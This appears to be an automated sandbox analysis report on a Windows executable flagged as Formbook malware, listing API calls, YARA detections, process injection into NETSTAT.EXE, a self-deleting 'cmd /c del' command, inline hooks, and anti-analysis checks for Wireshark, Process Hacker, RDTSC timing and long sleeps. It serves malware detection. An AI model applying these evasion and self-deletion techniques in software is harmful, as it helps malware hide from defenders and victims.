Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00419D60 NtCreateFile,	7_2_00419D60
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00419E10 NtReadFile,	7_2_00419E10
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00419E90 NtClose,	7_2_00419E90
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00419F40 NtAllocateVirtualMemory,	7_2_00419F40
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00419D5A NtCreateFile,	7_2_00419D5A
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00419E0A NtReadFile,	7_2_00419E0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D696D0 NtCreateKey,LdrInitializeThunk,	13_2_02D696D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D696E0 NtFreeVirtualMemory,LdrInitializeThunk,	13_2_02D696E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69650 NtQueryValueKey,LdrInitializeThunk,	13_2_02D69650
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69A50 NtCreateFile,LdrInitializeThunk,	13_2_02D69A50
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69660 NtAllocateVirtualMemory,LdrInitializeThunk,	13_2_02D69660
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69FE0 NtCreateMutant,LdrInitializeThunk,	13_2_02D69FE0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69780 NtMapViewOfSection,LdrInitializeThunk,	13_2_02D69780
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69710 NtQueryInformationToken,LdrInitializeThunk,	13_2_02D69710
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69840 NtDelayExecution,LdrInitializeThunk,	13_2_02D69840
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69860 NtQuerySystemInformation,LdrInitializeThunk,	13_2_02D69860
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D695D0 NtClose,LdrInitializeThunk,	13_2_02D695D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D699A0 NtCreateSection,LdrInitializeThunk,	13_2_02D699A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69540 NtReadFile,LdrInitializeThunk,	13_2_02D69540
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69910 NtAdjustPrivilegesToken,LdrInitializeThunk,	13_2_02D69910
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69A80 NtOpenDirectoryObject,	13_2_02D69A80
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69670 NtQueryInformationProcess,	13_2_02D69670
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69610 NtEnumerateValueKey,	13_2_02D69610
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69A10 NtQuerySection,	13_2_02D69A10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69A00 NtProtectVirtualMemory,	13_2_02D69A00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69A20 NtResumeThread,	13_2_02D69A20
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D6A3B0 NtGetContextThread,	13_2_02D6A3B0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D697A0 NtUnmapViewOfSection,	13_2_02D697A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69770 NtSetInformationFile,	13_2_02D69770
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D6A770 NtOpenThread,	13_2_02D6A770
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69760 NtOpenProcess,	13_2_02D69760
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D6A710 NtOpenProcessToken,	13_2_02D6A710
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69B00 NtSetValueKey,	13_2_02D69B00
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69730 NtQueryVirtualMemory,	13_2_02D69730
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D698F0 NtReadVirtualMemory,	13_2_02D698F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D698A0 NtWriteVirtualMemory,	13_2_02D698A0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D6B040 NtSuspendThread,	13_2_02D6B040
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69820 NtEnumerateKey,	13_2_02D69820
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D699D0 NtCreateProcessEx,	13_2_02D699D0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D695F0 NtQueryInformationFile,	13_2_02D695F0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69950 NtQueueApcThread,	13_2_02D69950
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69560 NtWriteFile,	13_2_02D69560
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D6AD30 NtSetContextThread,	13_2_02D6AD30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D69520 NtWaitForSingleObject,	13_2_02D69520
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A9E90 NtClose,	13_2_028A9E90
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A9E10 NtReadFile,	13_2_028A9E10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A9F40 NtAllocateVirtualMemory,	13_2_028A9F40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A9D60 NtCreateFile,	13_2_028A9D60
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A9E0A NtReadFile,	13_2_028A9E0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A9D5A NtCreateFile,	13_2_028A9D5A

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041E000	7_2_0041E000
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00401030	7_2_00401030
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041D1AB	7_2_0041D1AB
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041E258	7_2_0041E258
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00401208	7_2_00401208
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041DD7D	7_2_0041DD7D
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00402D87	7_2_00402D87
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00402D90	7_2_00402D90
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00409E40	7_2_00409E40
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00409E3B	7_2_00409E3B
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041DF3E	7_2_0041DF3E
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_00402FB0	7_2_00402FB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D46E30	13_2_02D46E30
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D5EBB0	13_2_02D5EBB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3B090	13_2_02D3B090
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3841F	13_2_02D3841F
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DE1002	13_2_02DE1002
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D3D5E0	13_2_02D3D5E0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02DF1D55	13_2_02DF1D55
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D2F900	13_2_02D2F900
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D20D20	13_2_02D20D20
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D44120	13_2_02D44120
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028AE258	13_2_028AE258
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028AE000	13_2_028AE000
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028AD1AB	13_2_028AD1AB
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02899E3B	13_2_02899E3B
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02899E40	13_2_02899E40
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02892FB0	13_2_02892FB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02892D87	13_2_02892D87
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02892D90	13_2_02892D90

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Code function: String function: 02D2B150 appears 32 times

Source: 6KdTCZit4e.exe, 00000000.00000000.656062623.000000000080A000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTimeSpanStyl.exe2 vs 6KdTCZit4e.exe
Source: 6KdTCZit4e.exe, 00000007.00000002.793159947.00000000008CA000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTimeSpanStyl.exe2 vs 6KdTCZit4e.exe
Source: 6KdTCZit4e.exe, 00000007.00000002.796525668.00000000014FF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 6KdTCZit4e.exe
Source: 6KdTCZit4e.exe, 00000007.00000002.797353151.0000000001720000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamenetstat.exej% vs 6KdTCZit4e.exe
Source: 6KdTCZit4e.exe	Binary or memory string: OriginalFilenameTimeSpanStyl.exe2 vs 6KdTCZit4e.exe

Source: 6KdTCZit4e.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.6KdTCZit4e.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 7.2.6KdTCZit4e.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@2/2

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6KdTCZit4e.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6820:120:WilError_01

Source: 6KdTCZit4e.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: 6KdTCZit4e.exe	Virustotal: Detection: 38%
Source: 6KdTCZit4e.exe	ReversingLabs: Detection: 19%

Source: unknown	Process created: C:\Users\user\Desktop\6KdTCZit4e.exe 'C:\Users\user\Desktop\6KdTCZit4e.exe'
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process created: C:\Users\user\Desktop\6KdTCZit4e.exe C:\Users\user\Desktop\6KdTCZit4e.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\6KdTCZit4e.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process created: C:\Users\user\Desktop\6KdTCZit4e.exe C:\Users\user\Desktop\6KdTCZit4e.exe	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\6KdTCZit4e.exe'	Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 6KdTCZit4e.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 6KdTCZit4e.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 6KdTCZit4e.exe

Static file information: File size 1148416 > 1048576

Source: 6KdTCZit4e.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x116a00

Source: 6KdTCZit4e.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netstat.pdbGCTL source: 6KdTCZit4e.exe, 00000007.00000002.797353151.0000000001720000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000008.00000000.741672578.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: netstat.pdb source: 6KdTCZit4e.exe, 00000007.00000002.797353151.0000000001720000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 6KdTCZit4e.exe, 00000007.00000002.795763283.000000000136F000.00000040.00000001.sdmp, NETSTAT.EXE, 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 6KdTCZit4e.exe, 00000007.00000002.795763283.000000000136F000.00000040.00000001.sdmp, NETSTAT.EXE
Source:	Binary string: wscui.pdb source: explorer.exe, 00000008.00000000.741672578.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041721D push es; ret	7_2_00417232
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_004175DF push ds; iretd	7_2_004175F2
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_004175A0 push ds; iretd	7_2_004175F2
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041B68C pushad ; iretd	7_2_0041B68D
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041CEB5 push eax; ret	7_2_0041CF08
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041CF6C push eax; ret	7_2_0041CF72
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041CF02 push eax; ret	7_2_0041CF08
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Code function: 7_2_0041CF0B push eax; ret	7_2_0041CF72
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_02D7D0D1 push ecx; ret	13_2_02D7D0E4
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A721D push es; ret	13_2_028A7232
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028AB68C pushad ; iretd	13_2_028AB68D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028ACEB5 push eax; ret	13_2_028ACF08
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028ACF0B push eax; ret	13_2_028ACF72
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028ACF02 push eax; ret	13_2_028ACF08
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028ACF6C push eax; ret	13_2_028ACF72
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A75A0 push ds; iretd	13_2_028A75F2
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 13_2_028A75DF push ds; iretd	13_2_028A75F2

Source: initial sample

Static PE information: section name: .text entropy: 7.05866733506

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x87 0x7E 0xE9

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 6KdTCZit4e.exe	Binary or memory string: WIRESHARK\|WIRESHARK.EXE
Source: 6KdTCZit4e.exe	Binary or memory string: SKYPE\|SKYPE.EXE'FIREFOX\|FIREFOX.EXE+BOOTCAMP\|BOOTCAMP.EXE/WIRESHARK\|WIRESHARK.EXEAPROCESS HACKER\|PROCESSHACKER.EXELOAD

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\NETSTAT.EXE	RDTSC instruction interceptor: First address: 00000000028998E4 second address: 00000000028998EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\NETSTAT.EXE	RDTSC instruction interceptor: First address: 0000000002899B5E second address: 0000000002899B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Code function: 7_2_00409A90 rdtsc

7_2_00409A90

Source: C:\Users\user\Desktop\6KdTCZit4e.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\6KdTCZit4e.exe TID: 6572	Thread sleep time: -54990s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe TID: 6620	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6176	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 6680	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Thread delayed: delay time: 54990			Jump to behavior
Source: C:\Users\user\Desktop\6KdTCZit4e.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 6KdTCZit4e.exe	Binary or memory string: vmCIYd
Source: explorer.exe, 00000008.00000000.741348182.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000008.00000000.748027302.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000000.778347337.0000000004710000.00000004.00000001.sdmp	Binary or memory string: _VMware_SATA_CD00#5&f
Source: explorer.exe, 00000008.00000000.742728647.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
